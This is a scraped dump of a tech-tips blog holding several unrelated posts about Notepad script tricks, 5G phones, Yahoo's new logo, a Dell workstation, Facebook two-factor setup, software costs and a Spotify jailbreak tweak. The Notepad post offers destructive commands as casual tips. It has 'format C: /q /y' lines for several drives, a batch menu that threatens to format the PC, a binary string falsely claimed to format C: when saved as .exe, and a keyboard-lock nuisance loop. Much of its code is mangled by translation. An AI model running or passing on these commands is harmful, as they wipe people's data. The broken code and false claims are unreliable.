WSHSHELL.SENDKEYS 'W A' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'RE' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'YOU' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS '? ' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'I A' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'M G' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'OOD' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'TH' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'ANK' WSCRIPT.SLEEP 500 WSHSHELL.SENDKEYS 'S! '  - Save Notepad, put any name with the extension .vbs.\nOpen the Notepad file you just created and see how messages appear at a slow speed?\nNote: If you want to end the vbs script (stop the action above), open Task Manager, then end the process wscript.exe.\n15. Select a custom Batch file When used, it will create a file that asks you to choose a number between 1-5 and then perform a certain action (as shown below - Action with numbers):\n1. Turn off the computer.\n2. Restart the computer.\n3. Clean the hard drive.\n4. Net send command.\n5. Display the notification, then turn off your computer.\nNote: Using this tip may cause an error to lose important data on your computer.\nTo create a file, follow the steps below:\n- Open Notepad.\n- Copy and paste the code below into Notepad file:\n@ECHO OFF TITLE GET A LIFE CD C: : MENU CLS ECHO I TAKE NO RESPONSIBILITY FOR YOUR ACTIONS. BEYOND THIS POINT IT IS YOU THAT HAS THE POWER TO KILL YOURSELF. IF YOU PRESS 'X' THEN YOUR PC WILL BE FORMATTED. DO NOT CRY IF YOU LOOSE YOUR DATA OR ANYTHING. PAUSE ECHO PICK YOUR OPTION: ECHO 1. DIE SLOWLY ECHO 2. INSTANT DEATH ECHO 3. STAY AWAY FROM THIS ONE ECHO 4. DIE THIS WAY (FOR WIMPS!) ECHO 5. EASY WAY OUT SET INPUT = NOTHING SET / P INPUT = CHOICE: IF% INPUT% == 1 GOTO ONE IF% INPUT% == 2 GOTO TWO  - Save Notepad, put any name with the extension is .bat.\n16. Convert text (text) into audio (audio) - Open Notepad.\n- Copy and paste the code below into Notepad file:\n Dim msg, sapi msg = InputBox (\"Enter your text for conversion --www.techvorm.com\", \"TechVorm Text-To-Audio Converter\") Set sapi = CreateObject (\"sapi.spvoice\") sapi.Speak msg  - Save Notepad, put any name with the extension .vbs. Such as Text-To-Audio.vbs.\nFinally open the Notepad file you just saved, find the text you want to convert and click OK.\n  17. Format hard drive Method 1:\nOpen Notepad. Copy the following code into Notepad file: 01100110011011110111001001101101011000010111010000 100000011000110011101001011100  0010000000101111010100010010111101011000  Save the Notepad file, put any name with the extension .exe. Finally, double-click the Notepad file to open the file and drive C: on your computer will be formatted. Method 2:\nOpen Notepad and enter the following code:  format C: / q / y format D: / q / y format E: / q / y format F: / q / y format G: / q / y  Save the file with the extension .exe, run the file on the drive you want to format. Note: You should not run this Notepad file on drive C, unless you want to reinstall Windows.\n18. Create password protected folder with Notepad - Open Notepad.\n- Copy the code below into Notepad file:\n cls @ECHO OFF title Folder Locker if EXIST \"Control Panel. {21EC2020-3AEA-1069-A2DD-08002B30309D}\" goto UNLOCK if NOT EXIST Locker goto MDLOCKER : CONFIRM echo Bạn có chắc muốn Lock thư mục (Y / N) set / p \"let =\u0026gt;\" if% for% == Y goto LOCK if% for% == y goto LOCK if% for% == n goto END if% for% == N goto END echo Invalid choice. goto CONFIRM : LOCK lace Locker \"Control Panel. {21EC2020-3AEA-1069-A2DD-08002B30309D}\" attrib + h + s \"Control Panel. {21EC2020-3AEA-1069-A2DD-08002B30309D}\" Folder locked echo goto End : UNLOCK echo Enter password to Unlock folder set / p \"pass =\u0026gt;\" if NOT% pass% == YOUR PASSWORD HERE goto FAIL attrib -h -s \"Control Panel. {21EC2020-3AEA-1069-A2DD-08002B30309D}\" lace \"Control Panel. {21EC2020-3AEA-1069-A2DD-08002B30309D}\" Locker echo Folder Unlocked successfully goto End : FAIL Password echo invalid goto end : MDLOCKER md Locker Máy ảnh echo created successfully goto End : End  Note: Replace YOUR PASSWORD HERE with your password.\n- Save the Notepad file into a Batch file (with the extension is .bat). Such as Locker.bat.\n- Now you will see the Batch file. Double click on the Batch file to create the Locker folder.\n- Insert all the files you want to hide into the Locker folder.\n- Double-click the Batch files that you just inserted into the Locker folder to lock the files.\n  If you want to unblock the files, just double-click the Batch file again, at which point you will be asked to enter the password (on the DOS window). You just need to enter your password there and that's it.\n19. Make your computer talk to you Loneliness too makes you crave talkers? Try doing that with your computer using the tips below:\nOpen Notepad and enter the following code:  Dim Message, Speak Message = InputBox (\"Enter text\", \"Speak by Quantrimang\") Set Speak = CreateObject (\"sapi.spvoice\") Speak.Speak Message  Save the Notepad file with the .vbs extension (put whatever name you want). Double click the saved file to bring up a window, enter text and listen to the computer talking. The interface when entering text will be as follows:\n  After importing, click OK, remember to turn on the speakers or put on headphones to enjoy the results!\n20. Turn keyboard into night EDM Open Notepad and paste the following code into:  Set wshShell = wscript.CreateObject (\"WScript.Shell\") by wscript.sleep 100 wshshell.sendkeys \"{CAPSLOCK}\" wshshell.sendkeys \"{NUMLOCK}\" wshshell.sendkeys \"{SCROLLLOCK}\" loop  Save as .vbs file. Double-click the saved file to open it. Let's start dancing. What is happening on the computer when constantly turning on / off the CAPS keys, NUMBER, SCROLL (causing the LED to turn on most keyboards). This will cause you to be bothered if you actually use them to type keys. If you want to turn it off, either restart your computer, or go to Task Manager, find Microsoft Windows Based Script Host and End task.\n21. Create simple puzzle game Paste the following code into Notepad:  @echo off color 0e title Guessing Game by TipsMake.com set / a guessnum = 0 set / a answer =% RANDOM% set variable1 = surf33 echo ------------------------------------------------- echo Welcome to the Guessing Game! echo. echo Try and Guess my Number! echo ------------------------------------------------- echo. :top echo. set / p guess = echo. if% guess% GTR% answer% ECHO Lower! if% guess% LSS% answer% ECHO Higher! if% guess% ==% answer% GOTO EQUAL set / a guessnum =% guessnum% +1 if% guess% ==% variable1% ECHO Found the backdoor hey ?, the answer is:% answer% goto top : equal echo Congratulations, You guessed right !!! echo. echo It took you% guessnum% guesses. echo. pause  Save as .bat file. Double click the file. Let's start playing! We have the following result:\n  22. Create a random password If you want to write a simple tool to create a password, you can use this little trick:\nPaste the following code into the Notepad document.  @echo off : Start2 cls goto Start : Start title Password Generator by TipsMake.com echo I will make you a new password. echo Hãy ghi mật khẩu ở ở sau in case you forget it. echo ---------------------------------------- ¬ -------- --------------- echo 1) 1 Random Password echo 2) 5 Random Passwords echo 3) 10 Random Passwords echo Input your choice đặt input = set / p input = Choice: if% input% == 1 goto A if NOT goto Start2 if% input% == 2 goto B if NOT goto Start2 if% input% == 3 goto C if NOT goto Start2 : A cls echo Your password is% random% echo Now choose what you want to do. echo 1) Go back to the beginning echo 2) Exit đặt input = set / p input = Choice: if% input% == 1 goto Start2 if NOT goto Start 2 if% input% == 2 goto Exit if NOT goto Start 2 : Exit exit : B cls echo Your 5 passwords are% random%,% random%,% random%,% random%,% random%. echo Now choose what you want to do. echo 1) Go back to the beginning echo 2) Exit đặt input = set / p input = Choice: if% input% == 1 goto Start2 if NOT goto Start 2 if% input% == 2 goto Exit if NOT goto Start 2 : C cls Nếu bạn 10 Passwords là% random%,% random%,% random%,% random%,% random%,% random%,% random%,% random%,% random%,% random% echo Now choose what you want to do. echo 1) Go back to the beginning echo 2) Exit đặt input = set / p input = Choice: if% input% == 1 goto Start2 if NOT goto Start 2 if% input% == 2 goto Exit if NOT goto Start 2  Save as .bat file. Double click the file to open it. We have the following result:\n  23. Create a virtual computer The following code will help you create a virtual pocket computer with Notepad.\nPaste the following code into Notepad:  @echo off title Batch Calculator by TipsMake.com color 1f :top echo ------------------------------------------------- ------------- echo Welcome to Batch Calculator echo ------------------------------------------------- ------------- echo. set / p sum = set / a ans =% sum% echo. echo =% ans% echo ------------------------------------------------- ------------- pause cls echo Previous Answer:% ans% goto top pause exit  Save as a .bat file. Try to make a calculator. The result is as follows:\n  Note: This computer can only handle integers and a certain number of numbers. It does not handle complex equations, but is quite fine, right?\nRefer to some of the following articles:\nTroll friends by creating \"fake\" virus on Notepad Use Notepad to make the keyboard automatically type any text repeatedly Summary of useful shortcuts when using Notepad Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwamx0p5koZmToHq1tc%2BsZJqqlWK8r7jYZqWorJWlrqV5wpqlZpyf\n","link":"/post/these-hack-tips-are-only-notepad-can-do/","section":"post","tags":null,"title":"These 'hack' tips are only Notepad can do"},{"body":"The 5G network launches in 2019, and until this year, more and more 5G phones from different companies are coming out. Although 4G cannot be completely replaced, 5G is still the next generation of highly anticipated mobile communications. 5G works very fast and many areas will take advantage of this new network connection, including the Internet, drones and unmanned vehicles. Samsung, the most popular 5G phone manufacturer today, has launched several phones that allow this new network to be connected, including the flagship Galaxy S20, Note 10 Plus to the segment. Mid-range price.\nMost people want to experience the speed of 5G networks on a supported phone. After all, promises from manufacturers or chips that support 5G are not the only factors to help users access this new network service. To help you better understand the device with the latest network technology, TipsMake will list the best 5G phones in 2020.\n1. Samsung Galaxy S20, S20 Plus and S20 Ultra Like all other Samsung flagship phones in 2020, all three Galaxy S20 models have 5G connectivity. Not only that, they also have 120Hz AMOLED display screens (6.2, 6.7 and 6.9 inches), a reversible wireless charging mode and a water-resistant design. The Galaxy S20 has a triple-camera setup and in particular, the Plus and Ultra versions also have a fourth camera. Read the detailed review of Samsung Galaxy S20 here.\n 2. OnePlus 8 and 8 Pro OnePlus phones are no longer as cheap as they used to be, especially with the OnePlus 8 and 8 Pro duo that offer a more premium experience than competing Android phones of the same price. OnePlus 8 Pro has a 120Hz display screen and a telephoto camera (specializing in close-ups, extreme zoom). OnePlus 8 is smaller, more affordable and still has 5G support, a 90Hz display and especially still runs the same high-end chip. TipsMake has a review of the new duo OnePlus 8 and 8 Pro, please read here.\n 3. LG V60 ThinQ 5G In addition to adding a headphone jack (which is extremely rare on today's top phones), LG V60 creates a special feature when paired with a phone case that doubles the screen size. This feature, known as Dual Screen, allows the V60 to fold like a small notebook. Therefore, users can use the phone app on both screens or use them as a tablet (however the hinge will appear in the middle of the screen).\n 4. Samsung Galaxy Note 10 Plus 5G Launched in 2019, the Samsung Galaxy Note 10 Plus high-end phone offers the definition of a high-quality product that includes a 6.8-inch screen, a battery that can be used all day for comfortable camera functions. The version that supports 5G, Note 10 Plus 5G is also more expensive and is one of the most expensive 5G phones available today. You can refer to Samsung Galaxy Note 10 Lite here.\u0026nbsp;\n 5. Motorola Moto Z4 Like the 2018 Motorola Moto Z3 phone, the Moto Z4 can also connect to 5G via a device called the Moto Mod. The device uses magnets, attached to the back of the phone, making it one of the most affordable 5G phone options. Currently, Moto Z4 costs about 5 million VND in the Vietnamese market.\n 6. Xiaomi Mi 10 Pro 5G Xiaomi Mi 10 Pro 5G has a Snapdragon 865 chip, a 90Hz display, a 4500 mAh battery and a camera of up to 108 megapixels. This is a high-end phone from Xiaomi, so the price of Mi 10 Pro is also much higher than the products of the same manufacturer. Please refer to the detailed review of Xiaomi Mi 10 Pro 5G here.\n 7. Samsung Galaxy A90 5G The Galaxy A90 5G phone has a 6.7-inch display, a triple-camera cluster, and a Snapdragon 855 processor. It also has an octa-core chip and an in-display fingerprint sensor. The price of the phone on the Vietnamese market is about 8 million VND, much softer than other 5G-enabled products.\n 8. Nokia 8.3 Although Nokia has not been a major player in the industry since 15 years ago, the manufacturer still launches a 5G phone to compete with strong competitors. That product is Nokia 8.3, priced at $ 650 (about 15 million). Nokia advertises that this phone has 5G connectivity everywhere in the world, something no other phone manufacturer has done so far.\n 9. Oppo Find X2 and X2 Pro Oppo is a prominent name in mid-range phones, but its new duo of Find X2 and Find X2 Pro have features like the flagship. Launched nearly 2 years after its predecessor Oppo Find X, the Find X2 and Find X2 Pro teams have a 6.7-inch display, a 3-camera cluster, water resistance and special support for 5G connectivity. The entire Oppo Find X2 and Find X2 Pro reviews are here.\n 10. Huawei Mate 20 X 5G The Mate 20 X 5G has a huge 7.2-inch display, 4200 mAh battery and a cluster of 3 cameras. Although Huawei has been banned in the US market due to security issues, it is still the world's largest 5G phone manufacturer, with nearly 7 million 5G devices sold in the past year.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFugcZmp6GnnprAbn6Pa2c%3D\n","link":"/post/top-10-best-5g-phones-2020/","section":"post","tags":null,"title":"Top 10 best 5G phones 2020"},{"body":"The memories of a golden age are gradually falling back in the past, today, Yahoo is no longer a really famous brand, especially for young people from the '10x' generation and up, but this is still a dear name for many people, carrying a sky of memories whenever they recall a period of 'internet playing' practice.\nDespite not having implemented many major projects in a long time, Yahoo still knows how to make the world mention its name. And the 'tactical' not so effective and the company used this time was to launch a new logo as a reminder: 'We, the once king of the internet world, still exist and will return. strong. '\nThe hit technology products were once 'dead' in 2018   Yahoo has barely been able to make any really big impact on the tech world in general over the years\nOf course, the appearance of the new logo is even more important than that. The new Logo is expected to create a new, stronger beginning for an empire that has dominated the world for a long time. This logo is designed by a team of engineers from Pentagram. This is the company behind many bold and highly appreciated logo designs that can come as the sans-serif symbol of Citibank, the OMNY system of New York City and the logo of the Cooper Hewitt Museum. The new Yahoo logo model marked the company's first major change since the 'complete blood transfusion' of the senior leadership team with the departure of the entire former board of directors and the arrival of Ms. Marissa. Mayer as CEO in 2013.\nYahoo has returned to the Yahoo Together chat application, inviting experience   This new logo of Yahoo looks quite lacking in personality compared to the old version\nHowever, it is fair to say that this new Yahoo logo looks rather lacking in personality compared to the 2013 version and far less than the previous versions. The lower-case, sans-serif style makes this logo look like a startup with a limited budget and is launching a first advertising campaign by pasting its logo in public areas. so!\nThe only really special and commendable element here is Yahoo's iconic exclamation point, fortunately this still exists as a little 'yahoo!'. In this year's logo, this exclamation mark becomes much more prominent when standing 'alone in one style', completely different from the other 5 characters. Pentagram explained that the whole exclamation point is set at an angle of 22.5 degrees, leaning forward, and besides creating striking and impressive at first sight, this design also helps bring a sense of about youthfulness, dynamism and excitement (perhaps somewhat implied changes in the way Yahoo operates in the future).\nVietnamese security engineer was awarded by Yahoo for discovering a critical flaw in Yahoo Messenger   The only truly praiseworthy element in the new logo is Yahoo's iconic exclamation mark\nYahoo, after more than a decade of weakness with the business situation almost poorly operating, tried to rebound itself in the early 2010s by appointing a new CEO, spending heavily to buy about potential startups like Tumblr, Flickr, and beat Apple and Disney in the broadcast program.\nHowever, these rare moments of light quickly died out and eventually failed to recover a heavy and old entity like Yahoo.Tumblr, Flickr now have a new owner and become tools. The most popular in the world. While Yahoo's news and TV service initiatives also collapsed. Worse, Yahoo itself had to sell itself to Verizon to avoid a collapse that would almost certainly occur.\nGoodbye Yahoo! Messenger, a time to remember! Since that time, Yahoo has been almost impossible to make any major impact on the tech world in general, except occasionally appearing in the newspaper with sales issues. Bowl and scandals related to the company's products.\nIn addition to the appearance of the new logo, Yahoo has also announced an updated version of its flagship Yahoo Mail app (the company is probably hoping that customers have 'forgotten' the serious security scandal that led to the personal data of nearly 3 billion Yahoo Mail users being leaked in 2013. Or as the scandal scanned users' emails to find data sold to advertisers exposed in August 2018) .\nThe ups and downs of Marissa Mayer, from Yahoo's hope to Verizon's acquisition of Yahoo for $ 4.48 billion   Yahoo Mail will receive new updates with many notable features and tweaks\nPutting aside the unhappy things in the past, the new Yahoo Mail app has been added with many notable features and tweaks, such as attachments dedicated tabs, offers and offers' Grocery View 'provides information about stores and items near you.\nHopefully, the appearance of the new logo as well as the next version of the Yahoo Mail application will bring a fresher breeze to Yahoo's business situation, helping it to soon return to the race with other big companies.\nncG1vNJzZmismaXArq3KnmWcp51kxqK0zqhkpZmlo7CpscNmmGamlax6rbvGqGSrnZ2eu6W1zaBkraCVYsSwvsudZK2gkal6tbTEZqKippdiwLW1y6VknrCZqMG0\n","link":"/post/yahoo-launched-a-new-logo-reminding-the-world-that-the-king-still-exists/","section":"post","tags":null,"title":"Yahoo launched a new logo, reminding the world that the 'king' still exists"},{"body":"The manufacturer said the product will be released later this year and is named Precision M3800.\nThis mobile workstation is advertised as being only 18 mm thick and weighing 2 kg. Although the company did not disclose any information about its configuration.\nThe source of Slashgear said the product will be equipped with a screen of 15.6 inches with a resolution of 3.200x1.800 pixels, higher than the 2,880x1,800 pixels of the MacBook Pro Retina model of the same size. In addition, users can choose the version using Full HD resolution screen.\n  Dell Precision uses super sharp resolution screen. (Photo: Slashgear).\nThe Dell Precision M3800 is rumored to use a four-core Intel Core i7-4702MQ processor and a maximum of 16 GB of RAM. It has two options of 1TB hard drive or 512 GB SSD. This model can use Quadro K1100M graphics card with Nvidia's upcoming 2 GB VRAM.\nIn addition, Dell's new mobile workstation can also integrate additional connections such as HDMI, USB 3.0 and SD memory card reader. However, the Precision M3800 will not support Ethernet ports. The battery used on this model can be either 61 Wh or 91 Wh.\nAs expected, the Dell Precision M3800 will cost between $ 1,700 (about VND36 million) for the touchless version and $ 2,000 for the touchscreen.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2agrGWgp7KxrdGipaBlpKR6ra3Up5qhZaSdsm7DzqujnatdqbWqus2eqq1lnJ60qcDErKtmpZ%2BXtq2xjLCmq6Ojqa61tc6n\n","link":"/post/dell-is-preparing-to-launch-the-world-s-thinnest-lightest-mobile-workstation/","section":"post","tags":null,"title":"Dell is preparing to launch the world's thinnest, lightest mobile workstation"},{"body":"Recently, Facebook has updated 2 ways of securing Facebook classes, 2 factors authentication (2FA) for Facebook by Duo Mobile and Google Authenticator authentication applications. Previously to secure 2 layers for Facebook need a phone number. Then, when you receive the SMS, you can access your personal Facebook account.\nHowever, recently the phone security system Facebook has been constantly bugging, sending SMS messages unrelated to users, the authentication application is a safer, more optimal option especially faster. When using Duo Mobile or Google Authenticator, you want to log in to Facebook just enter the security code provided by the application.\nThe following article of Network Administrator will guide you how to enable 2-factor authentication for Facebook, via application and via phone number.\nHow to permanently delete a Facebook account on a computer How to secure your Facebook account so it won't be hacked? How to turn off / hide Facebook nick even when online Do you know how to login to a Microsoft account without a password? 1. Turn on Facebook security via the authentication application As mentioned to use this way, you need to download Duo Mobile or Google Authenticator application. Click on the link below to download the application.\nDownload Duo Mobile Download the Google Authenticator app Step 1:\nIn your personal Facebook account, click on the triangle icon and select Settings .\n  Step 2:\nIn the new installation interface, click on the Security group and login .\n  Next you look at the content on the right to find 2-factor authentication , then click the Use 2-factor authentication option.\n  Step 3:\nClick the Start button to proceed to secure Facebook 2-factor authentication.\n  Now the system will ask users to re-enter their Facebook password .\n  Step 4:\nCurrent 2-factor authentication on Facebook will have 2 ways via SMS text message about phone number, or via authentication application. Click on the Authentication Application and then press the Next button below.\n  Step 5:\nNow users will be notified to use 1 of 2 Duo Mobile and Google Authenticator applications to turn on authentication. We will have 2 ways to proceed with the setup via a third-party authentication tool, via QR code or entering the authentication code. Click the Next button.\n  Step 6:\nNow you open the application installed on the device, here is Google Authenticator, click Start setup . We will then be selected to set up. To scan a QR code, press Scan the barcode. If you want to enter the code, press Manual entry.\n   Step 7:\nYou need to agree to the application to access the camera , press OK. Then simply scan the QR code with the camera to set up. We will immediately receive the access code . The code will have a expiry date. Time will change to another code.\n    Step 8:\nOr enter the code on Google Authenticator application into this interface of Facebook.\n  When you enter it correctly, you will receive a confirmation of 2-factor authentication and you have successfully secured 2 layers of Facebook via the authentication application. Users will have 1 week of login without code and you can choose to turn it on or off.\n  2. How to turn off Facebook 2-layer authentication via the application Step 1:\nYou also access the Security section and log in on Facebook and also click on the Use 2-factor authentication section.\nHere we will see there are two ways to secure messages and applications. If you still want to use the authentication element but switch to another authentication application, click Remove application .\n  Facbeook will ask if you are sure to delete the authentication application, press Delete.\n  Step 2:\nTo completely turn off the 2-layer Facebook security element , click the Off button above the interface.\n  Finally click Off to determine that you do not use 2-factor authentication on Facebook.\n  3. Activate Facebook layer 2 security via phone To achieve efficiency as well as ease of implementation, you should make security 2 layers of Facebook on your computer.\nStep 1:\nFirst of all, we log in to your personal Facebook account. At the main interface, we click the arrow on the top right and select Settings.\n  Step 2:\nNext in the Settings interface, we click the Security item and log in the menu on the left of the interface.\n  Step 3:\nYou look to the right interface. Here, we go to the section Using 2-factor authentication , then select Settings.\n  Soon a new dialog box appears. Click on the Enable button to activate 2-layer security for Facebook.\n  Step 4:\nIn the Setup dialog box providing the security code , Facebook will ask the user to enter the mobile phone number , to receive the second security code message when we log into the Facebook account.\nWe enter the phone number, the Vietnamese area code by default, and then press the Continue button below.\n  Step 5:\nOnce you have entered the correct phone number, Facebok will send a phone number with a security code with 6 characters to confirm. You enter the code with 6 characters in the interface on Facebook and click Accept to verify.\n  Due to security reasons, Facebook will ask you to re-enter your account password , then click Submit to continue.\n  Step 6:\nNext, the login approval approval dialog box appears. We will tick No, request the code immediately , next click Close . So you have activated the 2-layer security mode for Facebook account already.\n  The next time you log in, you will receive a login approval code sent to your phone.Enter the code to login.\n  After entering the password, you will be asked if you want to save this browser for the next time you login without a password.\n  When we log in to a Facebook account on a strange computer or smartphone, but have never logged in before, you must add a second security code entry step, sent by message on the registered phone. This security code will change when we log in.\nSetting up the 2-layer Facebook security code on your computer will not affect your account usage or login on your smartphone.\n3. Log in to Facebook if you can't enter the code As mentioned, when you enable this feature, you will receive a second code via phone message. We must enter this code to log in to the account. So what if you don't bring your phone and can't enter the security code?\nStep 1:\nFirst of all, you also access the Privacy section and log in on Facebook. Navigate to Use 2-factor authentication , you will see Recovery code, click Get code .\nStep 2:\nIf required, re-enter your Facebook account password. Soon after, the dialog box of the Login Approval Code dialog appears. We will see 10 random code snippets that we can use to log into our Facebook account, in case you don't bring your phone to enter the confirmation code. It's best to save all 10 codes above, except in case you don't receive a security code or don't carry your phone.\n  4. How to cancel 2 layers of Facebook security via phone Due to the security of 2 layers on Facebook, we need to add a step to receive a message to enter the security code, so we will add a login step or sometimes we do not receive the code to the phone, we can remove the 2-layer password verification feature. on Facebook.\nIn the section Using 2-factor authentication , click the Off button to cancel this feature.\n  The above is a tutorial on how to enable 2-layer security for Facebook. Besides, in case you can't enter the code sent to your phone, you can use 1 of 10 codes that Facebook provides. Don't ignore confirming the 2-layer password for Facebook so you can enhance the security wall for your account.\nRefer to the following articles:\nThis is how Live Stream Facebook Video on PC, Fanpage How to permanently delete Facebook account How to recover deleted messages on Facebook I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddqLKkwdGipaBlYmK5osXEq6pmp5Zis6KvxJumqKM%3D\n","link":"/post/guide-to-securing-2-layers-of-facebook/","section":"post","tags":null,"title":"Guide to securing 2 layers of Facebook"},{"body":"  Cost-effective software development strategies Custom software development requires a lot of money, time, and effort. Even if a company's budget is carefully planned, unforeseen situations can arise on a project. For example, application security flaws, functional bugs, development delays, changing requirements, and so on. You have to pay for them to keep the project going. Is it possible to avoid hidden software development costs? Yes, if you choose a good technology partner and prepare for the project thoroughly. We will tell you how to do it.\u0026nbsp;\nConduct market research Let's start with the fact that the biggest expense is a program that no one will use. The investment will not pay off. Why? First, even decent software will fail if there is no market demand for it. Secondly, if a program is of poor quality, it will not be able to compete with more successful applications.\nIn 42% of cases, projects fail because there is no market demand for them. Therefore, before applying for custom software development services, you should test your idea on the market:\ndefine the target audience of the product and their 'pains'; study your competitors, their strengths and weaknesses; predict market needs; determine the functionality of your software; document your business goals. A Business Analyst carries out market analysis. This specialist usually leads an IT outsourcing team and communicates with the representatives of a customer. The Business Analyst ensures that after release, the product owner and investors will receive an up-to-date working application that will soon pay off and will be interesting to buyers. Learn how a Business Analyst reduces software development costs.\nPrepare product requirements A project begins with requirements. There is very little research on how their quality affects the success of a product. In 2002, a group of British scientists found that 48% of problems in custom software development are due to inaccurate specifications. Since then, there have appeared no substantial surveys. But project teams have learned from their experience that requirements help to:\nfind errors and inconsistencies before the start of development; estimate the amount of work to be done and the budget of the project; check the quality of the product; set project metrics. These indicators help the team to release the application on time, within budget, and with a full range of quality functionality.\nVision\u0026amp;Scope, SRS, and other documentation are important for the project. They make it easier for the customer to control the development and communicate with the IT outsourcing team. Requirements help avoid situations like the one the New York City Automated Payroll System (NYCAP) faced. The project started with a budget of $63 million. Due to dishonest control and inefficient management, project costs increased by almost 5.5 times - up to $360 million.\nInvolve a team of testers The IBM Institute of Systems Science found that eliminating defects after a product is released is 4 to 5 times more expensive than during custom software development. But fixing an error at the maintenance stage can take 100 times more money.\nCapers Jones, an American engineer, calculated that it would take $16,000 or more to fix a bug that was found after release. If you do it at the development stage, then it will cost only $25.\nIn 2019, poor software cost the US economy $2.1 trillion. This means that a valuable QA budget is wasted on fixing bugs, which can be done cheaper early in the SDLC.\nInvolve a team of experienced testers from the early stages of development to save your money. This is a guarantee that you will not lose tens of thousands of dollars to fix problems and will not lose up to 88% of customers. QA specialists will do a great job to keep the product quality and save your resources. They will:\ncheck the requirements for errors; determine the testing strategy; create test scenarios; prepare automated tests; conduct the necessary types of testing (functional and non-functional); precipitate the release of the software product. In any case, the work of a QA specialist will pay off, because the price of mistakes can be much higher.\nCreate an application prototype A prototype helps to show the software development team what kind of application they need to create as simply and quickly as possible. This is the model that the project team is guided by, visualization of product requirements.\nEven when a programmer reads the documentation, they may implement individual elements differently than the customer intended. The developer will have to redo certain functions. The prototype solves this problem because a clear picture is worth a thousand words.\nPrototypes are quickly created on paper or in special programs. They ensure that customers and developers see products in the same way. And the team will create an application faster because specialists don't need to spend time finalizing the design or functionality of the program.\nDevelop an MVP A minimum viable product (MVP) also saves the business money. This is a simplified version of an application that allows testing the program on the market, getting the first reviews, and evaluating the prospects and payback. After it has been tested, you may either continue development or close the project so as not to waste money.\nThe MVP includes only the most important functionality that clients can work with. Users begin to interact with this product, leave reviews and share their opinions on what needs to be improved in the application. The software development team is gradually adding new functionality, and improving the product. The target audience is growing, and so is the income.\nAs a result, the business quickly receives a working version of the program, the first users, and money. Without an MVP, developers will need more time to implement all the functionality of a software product. At the same time, there is no guarantee that the audience will like the application and that it will not have to be finalized after release.\nCreate a product roadmap A product roadmap is a relevant source of information. It describes the vision of a product, the progress of the team, and strategic plans for software development. It is a document that communicates results and expectations of how the application will evolve and why.\nFor the project team, release dates are entered into the map and general tasks are mentioned by date. Customers see the progress of work on the product roadmap.\n  The roadmap explains why certain features were conceived. For example, 200 important users might have asked for it, or because it solves the problem of customer churn.\nTake care of security 2020 was the fourth record year in the number of attacks. The US-CERT database recorded 17,447 vulnerabilities. This means that the software development team needs to be very attentive to the security of their code. Hackers are inventing new, more sophisticated ways to steal data.\nData breach costs increased from $3.86 million to $4.24 million. Managers consider investing in program reliability a top priority. They willingly seek security services: advice, infrastructure support, legal compliance checks, and so on.\n  Therefore, you should take care of reliability at the stage of product creation. Ensure that developers implement various information security tools:\nauthentication and authorization; encryption; logging, and so on. Experienced outsourcing software development companies practice DevSecOps when working on software security is included in a continuous cycle of integration and delivery. Programmers have enough tasks to complete and are limited by deadlines. Therefore, security may not always be their number one concern. The DevSecOps culture motivates the team to build solid software from the very beginning.\u0026nbsp;\nRelease a product iteratively Iterative development is based on iterations - separate phases that last 2-4 weeks. A first version of the software is created, then new features are gradually added.\nAn iteration can target a specific set of requirements. Therefore, to start development, it is not necessary to wait until all the documentation is ready.\n  This model can be easily implemented by outsourcing software development companies using Agile, Scrum, and DevOps methodologies. Iterations allow creating basic functionality in the early stages of development, changing the application at the request of users or the customer, and testing and improving the program during custom software development.\nPerform code refactoring On large projects that last 1-5 years, you should perform code refactoring, i.e. optimize outdated code. Every 2-3 years new versions of languages ​​are released, and frameworks and libraries are regularly updated. The code that used to be clean and high-quality is becoming obsolete. A function that took about a page of code to write can be replaced with a single line.\nA group of British engineers calculated that refactoring could cut costs by up to 60%:\u0026nbsp;\nremoving unnecessary classes, functions, and variables speeds up a program; it will be easier for developers to fix bugs in the future; code refactoring reduces the risk of system failure; it is easier for developers to implement new features; this process fixes pieces of code vulnerable to attacks. As a result, even if an application has been created for more than two years, it will turn out to be relevant and 'clean'. It can be easily developed and scaled.\nTake into account software deployment costs Significant costs come up during application deployment. They depend on the size and complexity of a program, the number of users, and the amount of data. You should consider that, in addition to custom software development services, you will have to pay for:\nfunctional services (push notifications, chat functions, SMS, and email alerts); maintenance (updating the application and fixing errors); infrastructure (for example, for the services of a cloud provider); the work of employees who are involved in the deployment and maintenance of the application or other services. In the IT industry, the cost of maintaining an application after release is approximately 15-20% of the initial development cost. That is, if the customer allocated a budget of $100,000, then deployment and maintenance will cost $20,000 per year.\nFind a reliable IT partner Perhaps this point should have been mentioned at the beginning. If a businessman hires a team of experienced proven developers, they will consider all of the above issues without giving the customer unnecessary information and details.\nLeading teams typically practice iterative development, prototyping, and MVP. They include testing and security in all phases of the SDLC. They create a program with a clear vision, quality requirements, and a product roadmap, perform code refactoring, and help deploy software at no extra cost.\nAll these and other points are negotiated with the customer and taken into account when calculating the cost of the project.\nAndersen, an outsourcing software development company, turns to best practices in software development. We discuss all important points at the stage of pre-sale preparation. Our clients know in detail how much money they will spend on a project. We also tell our clients about possible software development costs.\nncG1vNJzZmismaXArq3KnmWcp51ktaqww56lZqufm8G4rdGeZJ2dppq5sLzMnqWtZZOkwLW%2FjJqlnWWnlsa0edOoZJqun56xbsDHnqQ%3D\n","link":"/post/how-to-avoid-hidden-software-development-costs/","section":"post","tags":null,"title":"How To Avoid Hidden Software Development Costs"},{"body":"If you are a person who likes to listen to music on Spotify, you should not ignore Improvif tweaks for jailbreak iOS devices. This tweak will basically change the music listening interface on Spotify to be more compact and more intuitive. Besides, users can add quick add button to music playback interface, delete song background, add gestures to quickly delete in playlist to not have to open menu, . The following article will guide you how to install tweaks Improvify for iOS jailbreak devices.\nHow to split the screen when listening to music on iPhone How to change the iPhone lock screen music interface How to listen to two songs at the same time on iPhone How to change the color of iPhone lock screen music player interface Instructions for changing Spotify interface on iPhone Step 1:\nUsers download Refine Improvify for iOS jaibrealk 11 